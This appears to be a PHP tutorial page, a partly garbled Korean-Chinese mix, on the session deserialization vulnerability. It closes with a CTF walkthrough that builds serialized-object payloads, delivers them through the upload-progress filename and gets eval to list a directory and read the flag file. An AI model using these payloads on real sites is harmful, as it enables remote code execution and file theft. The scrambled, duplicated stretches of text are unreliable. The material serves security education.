> 백엔드 개발 > PHP 튜토리얼 > PHP의 세션 역직렬화 취약점에 대한 자세한 소개

PHP의 세션 역직렬화 취약점에 대한 자세한 소개

WBOY
풀어 주다: 2023-04-11 06:04:01
앞으로
5920명이 탐색했습니다.

이 기사는 PHP에 대한 관련 지식을 제공합니다. 이는 주로 세션 역직렬화 취약점, 즉 세션 데이터를 직렬화 및 저장하는 다양한 방법과 세션 역직렬화 취약점으로 이어지는 세션 데이터를 역직렬화하고 읽는 다양한 방법을 소개합니다. 이것이 도움이 되기를 바랍니다. 모든 사람.

"PHP의

추천 연구: "PHP 비디오 튜토리얼"

PHP 세션 역직렬화 취약점

PHP 세션 역직렬화 취약점은 [직렬화된 저장소 세션 데이터]인 경우입니다. 및 [역직렬화와 세션 데이터 읽기]가 다르기 때문에 세션 역직렬화 취약점이 발생합니다session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生

什么是session

官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。主要有以下特点:

  • session保存的位置是在服务器端
  • session通常是要配合cookie使用

因为HTTP的无状态性,服务端产生了session来标识当前的用户状态

本质上,session就是一种可以维持服务器端的数据存储技术。即**session技术就是一种基于后端有别于数据库的临时存储数据的技术**

PHP session工作流程

以PHP为例,理解session的原理

  1. PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
      세션이란 무엇입니까
    • Cookie中存在,获取PHPSESSID
    • 如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
  2. 初始化超全局变量$_SESSION为一个空数组
  3. PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
    • 存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION
    • 不存在该文件: session_start()创建一个PHPSESSID命名文件
  4. 程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

具体原理图:

""

php.ini session配置

php.ini里面有较重要的session配置项

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
로그인 후 복사

PHP session序列化机制

根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php处理器

首先来看看默认session.serialize_handler = php时候的序列化结果,代码如下

<?php//ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>
로그인 후 복사

""

为了方便查看,将session存储目录设置为session.save_path = "/www/php_session"PHPSESSID文件如下

""

1、文件名

文件名为sess_mpnnbont606f50eb178na451od,其中mpnnbont606f50eb178na451od就是后续请求头中Cookie携带的PHPSESSID공식세션정의: 컴퓨터, 특히 네트워크 응용프로그램에서는 이를 "세션 제어"라고 합니다. 세션 개체는 특정 사용자 세션에 필요한 속성 및 구성 정보를 저장합니다. 주요 기능은 다음과 같습니다.

세션은 서버측에 저장됩니다.

세션은 일반적으로 쿠키와 함께 사용됩니다. >

HTTP의 상태 비저장 특성으로 인해 서버는 현재 사용자 상태를 식별하기 위해 세션을 생성합니다기본적으로 세션은 서버 측 데이터 저장 기술을 유지합니다. 즉, **세션 기술은 데이터베이스와는 다른 백엔드 기반으로 데이터를 임시로 저장하는 기술입니다**
    쿠키가 있으면 PHPSESSID를 가져옵니다.쿠키가 없으면 PHPSESSID를 만듭니다. , 응답 헤더를 통해 쿠키 형식으로 브라우저에 저장합니다.슈퍼 전역 변수 $_SESSION를 초기화합니다. 빈 배열로 PHP는 PHPSESSID를 사용하여 해당 파일과 일치하는 위치(PHPSESSID 파일 저장 위치)를 지정합니다.파일이 존재합니다: 파일을 읽습니다. 콘텐츠(역직렬화 방법을 통해), 데이터를 $_SESSION에 저장프로그램 실행이 끝나면 $_SESSION에 저장된 모든 데이터는 직렬화되어 PHPSESSID에 해당하는 파일에 저장됩니다. ""

    php.ini 세션 구성

    PHP 세션 워크플로우 를 이해하려면 PHP를 예로 들어보겠습니다. 세션 코드의 원리> PHP 스크립트가 session_start()를 사용하여 세션 세션을 열면 자동으로 PHPSESSID를 감지합니다.
    파일이 존재하지 않습니다: session_start()는 PHPSESSID라는 이름의 파일을 생성합니다 특정 회로도:
    php.ini에는 php에 따라 더 중요한 <code>세션 구성 항목🎜
    <?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_binary&#39;);session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;];?>
    로그인 후 복사
    로그인 후 복사
    🎜PHP 세션 직렬화 메커니즘🎜🎜이 포함되어 있습니다. .inicode>의 구성 항목에 대해 $_SESSION에 저장된 모든 데이터를 PHPSESSID에 해당하는 파일에 직렬화하고 저장하는 데 사용되는 세 가지 처리 형식을 연구합니다. 즉, session.serialize_handler에 의해 정의된 세 가지 엔진: 🎜🎜🎜🎜프로세서 🎜 해당 저장 형식 🎜🎜🎜🎜🎜 php🎜 키 이름 + 세로 막대 + serialize() 함수에 의해 역직렬화된 값🎜🎜🎜 php_binary🎜 키 이름 + 키 이름 + serialize() 함수에 의해 역직렬화된 값의 길이에 해당하는 ASCII 문자🎜🎜🎜 php_serialize (php>=5.5.4)🎜 serialize() 함수에 의해 역직렬화된 배열🎜🎜🎜🎜

    php 프로세서

    🎜먼저, 기본 session.serialize_handler = php일 때의 시퀀스를 살펴보겠습니다. > 결과적으로 코드는 다음과 같습니다🎜
    <?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>
    로그인 후 복사
    로그인 후 복사
    🎜""🎜 🎜쉽게 보려면 session 저장 디렉터리를 session.save_path = "/www/php_session"으로 설정하세요. PHPSESSID 파일은 다음과 같습니다. 🎜🎜""🎜🎜1.파일 이름sess_mpnnbont606f50eb178na451od, 여기서 mpnnbont606f50eb178na451od는 브라우저에 저장된 후속 요청 헤더의 Cookie에 의해 전달되는 PHPSESSID의 값입니다. 위) 🎜🎜2. 파일 콘텐츠 🎜🎜php 프로세서 저장 형식🎜🎜🎜🎜🎜키 이름🎜🎜세로 막대🎜🎜serialize() 함수에 의해 역직렬화된 값🎜🎜🎜🎜🎜🎜$_SESSION['name'] 키 이름: name🎜🎜 |🎜🎜s:6:"강화";🎜🎜🎜🎜

    php_binary处理器

    使用php_binary处理器,即session.serialize_handler = php_binary

    <?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_binary&#39;);session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;];?>
    로그인 후 복사
    로그인 후 복사

    由于三种方式PHPSESSID文件名都是一样的,这里只需要查看文件内容

    ""

    键名的长度对应的 ASCII 字符 键名 经过 serialize() 函数反序列处理的值.
    $ namenamenamenamenamenamenamenamename s:6:“harden”;

    php_serialize 处理器

    使用php_binary处理器,即session.serialize_handler = php_serialize

    <?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>
    로그인 후 복사
    로그인 후 복사

    文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}

    ""

    session的反序列化漏洞利用

    session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

    漏洞成因

    首先创建session.php,使用php_serialize处理器来存储session数据

    <?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;session&#39;] = $_GET[&#39;session&#39;];echo $_SESSION[&#39;session&#39;];?>
    로그인 후 복사

    test.php,使用默认php处理器来存储session数据

    <?phpsession_start();class f4ke{
        public $name;
        function __wakeup(){
          echo "Who are you?";
        }
        function __destruct(){
          eval($this->name);
        }}$str = new f4ke();?>
    로그인 후 복사

    接着,我们构建URL进行访问session.php

    http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
    로그인 후 복사

    ""

    打开PHPSESSID文件可看到序列化存储的内容

    a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
    로그인 후 복사

    ""

    漏洞分析:

    session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

    由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

    键名 竖线 经过 serialize() 函数反序列处理的值
    a:1:{s:7:“session”;s:45:" | O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;}

    php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

    $_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';
    로그인 후 복사

    我们访问test.php,即可直接执行phpinfo()函数

    ""

    CTF例题:PHPINFO

    <?php//A webshell is wait for youini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);session_start();class OowoO{
        public $mdzz;
        function __construct()
        {
            $this->mdzz = 'phpinfo();';
        }
        
        function __destruct()
        {
            eval($this->mdzz);
        }}if(isset($_GET['phpinfo'])){
        $m = new OowoO();}else{
        highlight_string(file_get_contents('index.php'));}?>
    로그인 후 복사

    我们可以看到ini_set('session.serialize_handler', 'php'),判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数,进一步查看session.serialize_handler配置

    ""

    可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

    补充知识

    phpinfo文件中

    local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
    master value(主变量:php.ini里面的内容):php_serialize
    로그인 후 복사

    那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

    补充知识

    当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

    ""

    下面是官方给出的一个文件上传时监测进度例子:

    <form action="upload.php" method="POST" enctype="multipart/form-data">
     <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" />
     <input type="file" name="file2" />
     <input type="submit" /></form>
    로그인 후 복사

    其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

    在session中存储的上传进度,如下所示:

    <?php$_SESSION["upload_progress_123"] = array(
     "start_time" => 1234567890,   // The request time  请求时间
     "content_length" => 57343257, // POST content length 长度
     "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
     "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
     "files" => array(//上传的文件
      0 => array(
       "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
       // The following 3 elements equals those in $_FILES             
       "name" => "foo.avi",           //文件名
       "tmp_name" => "/tmp/phpxxxxxx",
       "error" => 0,
       "done" => true,                // True when the POST handler has finished handling this file
       "start_time" => 1234567890,    // When this file has started to be processed
       "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
      ),
      // An other file, not finished uploading, in the same request
      1 => array(
       "field_name" => "file2",
       "name" => "bar.avi",
       "tmp_name" => NULL,
       "error" => 0,
       "done" => false,
       "start_time" => 1234567899,
       "bytes_processed" => 54554,
      ),
     ));
    로그인 후 복사

    其中,session中的field_namename都是我们可控的输入点!

    下面我们就开始解题拿到flag

    首先,http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

    ""

    session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
    session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)
    로그인 후 복사

    即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name来将利用代码写入session文件

    构造POST表单提交上传文件

    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
     <input type="file" name="file" />
     <input type="submit" /></form>
    로그인 후 복사

    构造序列化字符串作为payload(利用代码)

    <?phpclass OowoO{
        public $mdzz=&#39;print_r(scandir(dirname(__FILE__)));&#39;;}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
    로그인 후 복사

    为了防止"被转义,我们在payload中加入\

    随意选择文件,点击表单提交,使用抓包工具burpsuite抓取请求包

    ""

    并修改filename值为

    |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
    로그인 후 복사

    发送请求包,代码执行过程分析:

    ""

    因此直接执行print_r(scandir(dirname(__FILE__)));并返回

    ""

    phpinfo查看当前目录,/opt/lampp/htdocs/

    ""

    构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容,即flag

    |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
    로그인 후 복사

    ""

    推荐学习:《PHP视频教程

    위 내용은 PHP의 세션 역직렬화 취약점에 대한 자세한 소개의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

    관련 라벨:
    php
    원천:csdn.net
    본 웹사이트의 성명
    본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
    인기 튜토리얼
    더>
    최신 다운로드
    더>
    웹 효과
    웹사이트 소스 코드
    웹사이트 자료
    프론트엔드 템플릿